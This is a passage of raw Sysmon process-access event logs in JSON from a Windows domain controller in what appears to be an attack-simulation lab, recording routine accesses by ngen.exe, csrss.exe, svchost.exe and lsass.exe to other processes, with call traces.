accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:17.856\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2432\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:17.856","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2432","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:17.856\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2432\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:17.856","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2432","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:17.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-437D-5F2D-0000-0010AD091200}\r\nTargetProcessId: 2432\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:17.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-437D-5F2D-0000-0010AD091200}","TargetProcessId":"2432","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:18.639\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-437E-5F2D-0000-00102C0F1200}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:18.639","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-437E-5F2D-0000-00102C0F1200}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:18.639\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-437E-5F2D-0000-00102C0F1200}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:18.639","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-437E-5F2D-0000-00102C0F1200}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:18.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-437E-5F2D-0000-00102C0F1200}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:18.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-437E-5F2D-0000-00102C0F1200}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.261\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.261","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:19.261\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-437A-5F2D-0000-001051001200}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:19.261","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-437A-5F2D-0000-001051001200}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 